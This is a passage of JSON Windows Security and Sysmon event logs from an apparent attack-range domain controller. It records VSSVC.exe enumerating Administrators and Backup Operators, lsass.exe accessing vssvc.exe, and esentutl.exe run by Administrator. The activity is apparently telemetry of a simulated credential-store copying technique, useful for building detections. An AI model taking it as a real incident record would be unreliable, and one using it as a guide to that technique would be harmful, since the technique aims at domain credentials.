11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222074,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5499,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222075,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5500,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222076,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5501,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222077,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5502,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222078,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222079,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5503,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5504,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: 